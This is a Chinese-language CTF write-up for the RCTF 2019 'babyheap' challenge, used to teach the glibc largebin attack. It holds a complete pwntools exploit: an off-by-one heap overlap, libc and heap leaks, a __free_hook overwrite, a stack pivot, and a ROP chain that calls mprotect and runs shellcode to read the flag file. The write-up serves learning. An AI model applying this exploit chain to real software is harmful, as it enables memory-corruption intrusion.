RCTF 2019 pwn

这是一道关于largebin attack的题目,是学习largebin attack的第一道题目,RCTF 2019的babyheap,但是wp一直搁置着,现在才补全,已经忘了是复现了哪个exp了…

largebin attack

此时,我们再分配一个chunk时,会检查unsorted bin是否有合适的chunk,若unsorted bin中没有合适的chunk,然后会将chunk放入对应的bin中,这里unsorted bin中的chunk大小为0x450,则会将其放入largebin中。largebin除了维护相同大小中bin中的fd、bk的双向链表外,还会维护一个由所有largebin构成的fd_nextsize、bk_nextsize的双向链表,在该链表中,largebin中的chunk按照从大到小递减排序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
else {

victim_index = largebin_index(size); //victim是要插入的chunk
bck = bin_at(av, victim_index); // 当前largebin的头部
fwd = bck->fd; //largebin中的第一个chunk

/* maintain large bins in sorted order */
//按照从大到小降序排列
// 如果 large bin 链表不空
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
//bck->bk中存储着当前largebin中最小的chunk
assert(chunk_main_arena(bck->bk));//判断bck->bk是否在main arena
if ((unsigned long) (size) <
(unsigned long) chunksize_nomask(bck->bk)) {//如果插入的chunk比当前最小的chunk还小,只需插入到链表尾部
fwd = bck; //fwd指向链表头部
bck = bck->bk; //bck指向链表尾部
victim->fd_nextsize = fwd->fd; //victim->fd_nextsize指向链表中第一个chunk
//victim->bk_nextsize指向原来链表第一个chunk指向的bk_nextsize,即原来链表的最后一个chunk
victim->bk_nextsize = fwd->fd->bk_nextsize;
//原来链表第一个chunk的bk_nextsize指向victim
//原来最后一个链表的最后一个chunk的fd_nextsize指向victim
fwd->fd->bk_nextsize =
victim->bk_nextsize->fd_nextsize = victim;

} else {//插入的chunk的大小大于当前链表中最小的chunk
assert(chunk_main_arena(fwd)); //判断fwd是否在main arena中
while ((unsigned long) size < chunksize_nomask(fwd)) {
//从链表头部遍历寻找不大于victim的chunk
fwd = fwd->fd_nextsize;
assert(chunk_main_arena(fwd));
}
if ((unsigned long) size ==
(unsigned long) chunksize_nomask(fwd)) //如果找到与victim大小相等的chunk,直接插入,不修改nextsize
/* Always insert in the second position. */
fwd = fwd->fd;
else { //找到小于victim的chunk,fwd指向比victim小的chunk,插入到fwd前面
victim->fd_nextsize = fwd; //victim->fd_nextsize指向fwd
//victim->bk_nextsize指向原来fwd的前一个chunk
victim->bk_nextsize = fwd->bk_nextsize;
//fwd的bk_nextsize指向victim
fwd->bk_nextsize = victim;
//fwd原来前一个chunk的fd_nextsize指向victim
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
} else
//如果当前largebin链表为空,则插入的victim自己构成一个双向链表
victim->fd_nextsize = victim->bk_nextsize = victim;
}
...
...
//插入当前bin中第一个chunk的前面,更新bin中的双向链表
mark_bin(av, victim_index);
victim->bk = bck; //victim->bk指向bck,bck=fwd->bk
victim->fd = fwd; //victim->fd指向当前bin中的第一个chunk
fwd->bk = victim; //原来bin中的第一个chunk的bk指向victim
bck->fd = victim; //bck的fd指向victim,也就是fwd->bk->fd指向victim

题目简述 & 题目漏洞

题目有add、delete、show和edit四个功能,在add中使用calloc来申请堆块,calloc申请堆块会对堆块进行清空,释放的堆块无论大小,都不会放入fastbin中,也就是说如果不与top chunk相邻,就会放入unsortedbin中。申请的堆块最大为0x1000。idx为0~15。
edit里有off by one的漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall edit(__int64 a1, __int64 a2)
{
int v2; // ST0C_4
signed int v4; // [rsp-10h] [rbp-10h]
unsigned __int64 v5; // [rsp-8h] [rbp-8h]

v5 = __readfsqword(0x28u);
j_printf("Index: ");
v4 = get_int("Index: ", a2);
if ( v4 >= 0 && v4 <= 15 && *((_QWORD *)ptrs + 2 * v4) )
{
j_printf("Content: ");
v2 = read_n(*((void **)ptrs + 2 * v4), *((_DWORD *)ptrs + 4 * v4 + 2));
*(_BYTE *)(*((_QWORD *)ptrs + 2 * v4) + v2) = 0; //off by one
j_puts("Edit success :)");
}
else
{
j_puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v5;
}

另外,该题目增加了沙箱,限制了系统调用,使用的检测工具是seccomp-tools,只能使用读文件的方式来获取flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ubuntu@ubuntu:~/Documents/pwn/2019/rctf2019/babyheap$ seccomp-tools dump ./babyheap 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0014
0013: 0x06 0x00 0x00 0x00000000 return KILL
0014: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0016
0015: 0x06 0x00 0x00 0x00000000 return KILL
0016: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0018
0017: 0x06 0x00 0x00 0x00000000 return KILL
0018: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0020
0019: 0x06 0x00 0x00 0x00000000 return KILL
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW

利用过程

泄露libc和heap基址

开始先申请chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
##init
add(0x78) #0
add(0x38) #1
add(0x420) #2
add(0x30) #3
add(0x60) #4
add(0x20) #5
add(0x88) #6
add(0x48) #7
add(0x420) #8
add(0x20) #9

add(0x100) #10 gadget
add(0x400) #11 rop+shellcode

先delete(0),利用off by one覆盖chunk 2的size,size由0x431变为0x400,利用改写的size,在chunk 2中伪造一个堆块,大小为0x30。

1
2
3
4
5
##off by one
delete(0)
edit(2,'a'*0x3f0+p64(0x100)+p64(0x31)) #chunk 2(0x430):0x400+0x30
edit(1,'a'*0x30+p64(0x80+0x40)) #off by null prev_size:0xc0, size:0x430->0x400
delete(2) #idx0~idx2 into unsorted bin 0x400+0xc0=0x4c0

delete(2)之前堆的分布如下,此时如果释放chunk 2,会引发chunk 0(0xc0)和chunk 2(0x400)的合并,合并后的大小为0x4c0,进入unsortedbin中。这里就造成了chunk 1的重叠。

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x /10gx 0x555555757080
0x555555757080: 0x0000000000000080 0x0000000000000040 # chunk 1
0x555555757090: 0x6161616161616161 0x6161616161616161
0x5555557570a0: 0x6161616161616161 0x6161616161616161
0x5555557570b0: 0x6161616161616161 0x6161616161616161
0x5555557570c0: 0x00000000000000c0 0x0000000000000400 #chunk 2 0x430->0x400
gdb-peda$ x /8gx 0x5555557574c0
0x5555557574c0: 0x0000000000000100 0x0000000000000031 #fake chunk
0x5555557574d0: 0x0000000000000000 0x0000000000000000
0x5555557574e0: 0x0000000000000000 0x0000000000000000
0x5555557574f0: 0x0000000000000000 0x0000000000000041 #chunk 3

再申请一个与idx0同样大小的chunk,然后show(1)泄露libc。

1
2
3
4
5
6
7
##leak libc_base
add(0x78) #0
show(1)
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x68 - libc.symbols["__malloc_hook"]
print "libc_base:", hex(libc_base)
free_hook = libc_base + libc.symbols["__free_hook"]

后面还需要堆的基址,构造chunk,使得idx 1的fd是一个堆地址,可以先申请一个chunk,该chunk索引为idx2,与idx1的地址相同,然后delete(4),再delete(2),这样堆的分布如下,show(1)就可以泄露,这里add一个chunk然后在idx4之后释放的目的是保持较大的0x440的chunk在链表的前面,chunk 4在后面,这样idx1的fd才能有堆的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555758030 (size : 0x1ffd0)
last_remainder: 0x5555557570c0 (size : 0x400)
unsortbin: 0x555555757080 (size : 0x440) <--> 0x555555757530 (size : 0x70)

对应的exp部分如下:

1
2
3
4
5
6
7
##leak heap_base
add(0x30) #2==1
delete(4)
delete(2) #usortedbin:0x440->0x70
show(1)
heap_base = u64(p.recvn(6).ljust(8,'\x00'))-(0x000056221af4b530-0x56221af4b000)
print "heap_base:", hex(heap_base)

largebin attack

首先add(0x50),unsortedbin中与其大小最接近的chunk是0x70,因此0x70的chunk被分配,0x440的chunk进入到largebin中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555758030 (size : 0x1ffd0)
last_remainder: 0x5555557570c0 (size : 0x400)
unsortbin: 0x0
largebin[ 1]: 0x555555757080 (size : 0x440) #进入largebin

再次利用off by one构造一个类似的largebin的chunk,在idx6~idx8中进行,先delete(6),
将idx8的大小由0x431覆盖为0x400,同时在idx8里伪造一个大小为0x30的chunk,此时堆的分布如下:

1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ x /12gx 0x555555757660
0x555555757660: 0x0000000000000090 0x0000000000000050 #chunk 7
0x555555757670: 0x6161616161616161 0x6161616161616161
0x555555757680: 0x6161616161616161 0x6161616161616161
0x555555757690: 0x6161616161616161 0x6161616161616161
0x5555557576a0: 0x6161616161616161 0x6161616161616161
0x5555557576b0: 0x00000000000000e0 0x0000000000000400 #chunk 8 0x430->0x400
gdb-peda$ x /8gx 0x5555557576b0+0x400
0x555555757ab0: 0x0000000000000100 0x0000000000000031 #fake chunk
0x555555757ac0: 0x0000000000000000 0x0000000000000000
0x555555757ad0: 0x0000000000000000 0x0000000000000000
0x555555757ae0: 0x0000000000000000 0x0000000000000031 #chunk 9

这个时候delete(8)会触发chunk 8和chunk 7(0xe0)的合并,idx6~idx8进入到unsortedbin中,大小为0x4e0,这里有一个重叠的chunk 7。
对应的exp部分是:

1
2
3
4
5
6
7
##calloc from unsortedbin 0x70,0x440 put into largebin
add(0x50) #2

delete(6) #0x90
edit(8,'a'*0x3f0+p64(0x100)+p64(0x31)) #chunk8(0x430):0x400+0x30
edit(7,'a'*0x40+p64(0x90+0x50)) #off by null prev_size:0xe0, size:0x400
delete(8) #idx6~idx8 into unsorted bin 0x400+0xe0=0x4e0

分别申请到位于largebin的0x440个位于unsortedbin的0x4e0这两个chunk,idx4的大小为0x440,idx8的大小为0x450。

1
2
3
add(0x430) #4==1 calloc from largebin
add(0x88) #6
add(0x440) #8==7

下面构造的是让小的0x440的chunk进入largebin中,0x450的chunk在unsortedbin中,然后修改这两个chunk的bk。先给出exp的部分,然后后面会有解释。

1
2
3
4
5
6
7
##largebin attack
delete(4)
delete(8) #0x450->0x440
add(0x440) #4==7
delete(4) #0x450 put into unsortedbin, 0x440 put into largebin
edit(7,p64(0)+p64(free_hook-0x20)) #0x450
edit(1,p64(0)+p64(free_hook-0x20+0x8)+p64(0)+p64(free_hook-0x20-0x18-0x5))#0x440

此时堆的分布如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555758030 (size : 0x1ffd0)
last_remainder: 0x555555757660 (size : 0x450)
unsortbin: 0x555555757660 (doubly linked list corruption 0x555555757660 != 0x0 and 0x555555757660 is broken)
largebin[ 1]: 0x555555757080 (doubly linked list corruption 0x555555757080 != 0x0 and 0x555555757080 is broken)
gdb-peda$ x /8gx 0x555555757660 #chunk 0x450 victim
0x555555757660: 0x0000000000000000 0x0000000000000451
0x555555757670: 0x0000000000000000 0x00007ffff7dd3788
0x555555757680: 0x0000000000000000 0x0000000000000000
0x555555757690: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /8gx 0x555555757080 #chunk 0x440
0x555555757080: 0x0000000000000000 0x0000000000000441
0x555555757090: 0x0000000000000000 0x00007ffff7dd3790
0x5555557570a0: 0x0000000000000000 0x00007ffff7dd376b
0x5555557570b0: 0x0000000000000000 0x0000000000000000

对应上面largebin attack部分的代码,这里我们的victim就是0x450的chunk,largebin中只有一个0x440的chunk,两个edit操作后两个chunk的fd、bk、fd_nextsize和bk_nextsize如下。

1
2
3
victim->bk = free_hook - 0x20
fwd->bk = free_hook - 0x18
fwd->bk_nextsize = free_hook - 0x20 - 0x18 - 0x5

首先维护由fd_nextsize和bk_nextsize构成的双向链表:

1
2
3
4
victim->fd_nextsize = fwd
victim->bk_nextsize = fwd->bk_nextsize = free_hook-0x20-0x18-0x5
fwd->bk_nextsize = victim
victim->bk_nextsize->fd_nextsize = *(free_hook-0x20-0x18-0x5+0x20) = *(free_hook-0x18-0x5) = victim #写入堆地址

此时,free_hook - 0x20 - 0x5处写入了victim的堆地址,也就是大小为0x450的chunk的地址。
然后再维护fd和bk的双向链表,相当于unsorted bin attack。

1
2
3
4
victim->bk = bck = fwd->bk = free_hook - 0x18
victim->fd = fwd
fwd->bk = victim
bck->fd = *(free_hook-0x18+0x10) = *(free_hook-0x8) = victim #写入堆地址

此时add一个chunk触发上面的操作,验证上面的分析,可以看到对应地址处写入了victim的堆地址,也就是0x450的堆地址,同时,该chunk分配到free_hook-0x20的chunk。这里只有chunk的地址为56开头时才会成功,前面分析我都关了地址随机化,是为了一致性,看的清楚些,后面的分析会开地址随机化。

1
2
3
4
5
6
gdb-peda$ p &__free_hook
$2 = (void (**)(void *, const void *)) 0x7ffff7dd37a8 <__free_hook>
gdb-peda$ x /gx 0x7ffff7dd37a8-0x18-0x5
0x7ffff7dd378b <_IO_stdfile_1_lock+11>: 0x0000555555757660
gdb-peda$ x /gx 0x7ffff7dd37a8-0x8
0x7ffff7dd37a0 <__after_morecore_hook>: 0x0000555555757660

劫持控制流

edit(4)将free_hook修改为libc_base+0x47b75,这个地址有这样一个gadget:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:0000000000047B75                 mov     rsp, [rdi+0A0h]
.text:0000000000047B7C mov rbx, [rdi+80h]
.text:0000000000047B83 mov rbp, [rdi+78h]
.text:0000000000047B87 mov r12, [rdi+48h]
.text:0000000000047B8B mov r13, [rdi+50h]
.text:0000000000047B8F mov r14, [rdi+58h]
.text:0000000000047B93 mov r15, [rdi+60h]
.text:0000000000047B97 mov rcx, [rdi+0A8h]
.text:0000000000047B9E push rcx
.text:0000000000047B9F mov rsi, [rdi+70h]
.text:0000000000047BA3 mov rdx, [rdi+88h]
.text:0000000000047BAA mov rcx, [rdi+98h]
.text:0000000000047BB1 mov r8, [rdi+28h]
.text:0000000000047BB5 mov r9, [rdi+30h]
.text:0000000000047BB9 mov rdi, [rdi+68h]
.text:0000000000047BB9 ; } // starts at 47B40
.text:0000000000047BBD ; __unwind {
.text:0000000000047BBD xor eax, eax
.text:0000000000047BBF retn

在后面delete(10)触发这个rop时rdi的值是chunk 10的数据域起始地址,chunk 10的构造如下:

1
2
3
##[rdi+0xa0]:chunk 11's data start
##[rdi+0xa8]:retn
edit(10,'a'*0xa0+p64(heap_base+0x10+0xc20)+p64(0x209b5+libc_base))

执行完one_gadget里的第一句之后,将栈迁移到heap_base+0x10+0xc20上,这个地址是chunk 11数据域起始地址,chunk 11的构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
##0x0000000000021102 : pop rdi ; ret
rop = p64(libc_base +0x0000000000021102) + p64(heap_base) #rdi = heap_base
##0x00000000001150c9 : pop rdx ; pop rsi ; ret
##rdx= 7 rsi = 0x2000 retn mprotect
##mprotect(heap_base,0x2000,0x7) heap_base~heap_base+0x2000:(rw-p)->(rwxp)
rop+= p64(libc_base +0x00000000001150c9) + p64(7) + p64(0x2000) + p64(libc_base+libc.symbols["mprotect"]) #length:0x48
##retn shellcode
rop+= p64(heap_base+0x48+0xc20) #heap_base+0xc20:chunk 11

##.string "./flag":push "./flag"
##open("./flag",0)
##read(fd,heap_base+0x48+0xc20,0x100)
##write(1,heap_base+0x48+0xc20,0x100)
##exit()
code = """
xor rsi,rsi
mov rax,SYS_open
call here
.string "./flag"
here:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""
shellcode = asm(code,arch="amd64")
rop += shellcode
edit(11,rop)

此时栈的布局如下:
1
继续向下执行,执行到mov rcx,[rdi+0xa8];push rcx指令处,rdi+0xa8我们构造的是p64(0x209b5+libc_base),这个地址处为retn,one_gadger里面的retn后,执行该指令,然后返回到chunk 11里面的rop:
2
在rop中,rdi是heap_base,然后程序返回到p64(libc_base +0x00000000001150c9),设置rdx= 7 rsi = 0x2000,然后返回到mprotect函数,执行mprotect(heap_base,0x2000,0x7),为heap_base~heap_base+0x2000增加可执行权限:
3
最后程序开始执行shellcode来获取flag。这里读的是本地测试的文件:
4

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
from pwn import *

context.log_level = "debug"
context.terminal = ["tmux","split","-h"]

p = process("./babyheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size):
p.recvuntil("Choice: ")
p.sendline('1')
p.recvuntil("Size: ")
p.send(str(size))

def edit(idx,data):
p.recvuntil("Choice: ")
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Content: ")
p.sendline(data)

def delete(idx):
p.recvuntil("Choice: ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))

def show(idx):
p.recvuntil("Choice: ")
p.sendline('4')
p.recvuntil("Index: ")
p.sendline(str(idx))


##calloc, no fastbin

##init
add(0x78) #0
add(0x38) #1
add(0x420) #2
add(0x30) #3
add(0x60) #4
add(0x20) #5

add(0x88) #6
add(0x48) #7
add(0x420) #8
add(0x20) #9

add(0x100) #10 gadget
add(0x400) #11 rop+shellcode


##off by one
delete(0)
edit(2,'a'*0x3f0+p64(0x100)+p64(0x31)) #chunk 2(0x430):0x400+0x30
edit(1,'a'*0x30+p64(0x80+0x40)) #off by null prev_size:0xc0, size:0x430->0x400
delete(2) #idx0~idx2 into unsorted bin 0x400+0xc0=0x4c0


##leak libc_base
add(0x78) #0
show(1)
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x68 - libc.symbols["__malloc_hook"]
print "libc_base:", hex(libc_base)
free_hook = libc_base + libc.symbols["__free_hook"]

##leak heap_base
add(0x30) #2==1
delete(4)
delete(2) #usortedbin:0x440->0x70
show(1)
heap_base = u64(p.recvn(6).ljust(8,'\x00'))-(0x000056221af4b530-0x56221af4b000)
print "heap_base:", hex(heap_base)


##calloc from unsortedbin 0x70,0x440 put into largebin
add(0x50) #2

delete(6) #0x90
edit(8,'a'*0x3f0+p64(0x100)+p64(0x31)) #chunk8(0x430):0x400+0x30
edit(7,'a'*0x40+p64(0x90+0x50)) #off by null prev_size:0xe0, size:0x400
delete(8) #idx6~idx8 into unsorted bin 0x400+0xe0=0x4e0


add(0x430) #4==1 calloc from largebin
add(0x88) #6
add(0x440) #8==7


##unsorted bin attack
delete(4)
delete(8) #0x450->0x440
add(0x440) #4==7
delete(4) #0x450 put into unsortedbin, 0x440 put into largebin
edit(7,p64(0)+p64(free_hook-0x20)) #0x450
edit(1,p64(0)+p64(free_hook-0x20+0x8)+p64(0)+p64(free_hook-0x20-0x18-0x5))#0x440

add(0x48) #4 calloc from free_hook-0x20
edit(4,'a'*0x10+p64(libc_base + 0x47b75)) #mov rsp,[rdi+0xa0];mov rcx,[rdi+0xa8];push rcx
##rsp:chunk 11's data start
##rcx:retn
##retn chunk 11's data start

##0x0000000000021102 : pop rdi ; ret
rop = p64(libc_base +0x0000000000021102) + p64(heap_base) #rdi = heap_base
##0x00000000001150c9 : pop rdx ; pop rsi ; ret
##rdx= 7 rsi = 0x2000 retn mprotect
##mprotect(heap_base,0x2000,0x7) heap_base~heap_base+0x2000:(rw-p)->(rwxp)
rop+= p64(libc_base +0x00000000001150c9) + p64(7) + p64(0x2000) + p64(libc_base+libc.symbols["mprotect"]) #length:0x48
##retn shellcode
rop+= p64(heap_base+0x48+0xc20) #heap_base+0xc20:chunk 11


##.string "./flag":push "./flag"
##open("./flag",0)
##read(fd,heap_base+0x48+0xc20,0x100)
##write(1,heap_base+0x48+0xc20,0x100)
##exit()
code = """
xor rsi,rsi
mov rax,SYS_open
call here
.string "./flag"
here:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""
shellcode = asm(code,arch="amd64")
rop += shellcode
edit(11,rop)
##[rdi+0xa0]:chunk 11's data start
##[rdi+0xa8]:retn
edit(10,'a'*0xa0+p64(heap_base+0x10+0xc20)+p64(0x209b5+libc_base))

gdb.attach(p)

delete(10)
p.interactive()

参考

https://blog.rois.io/2019/rctf-2019-official-writeup/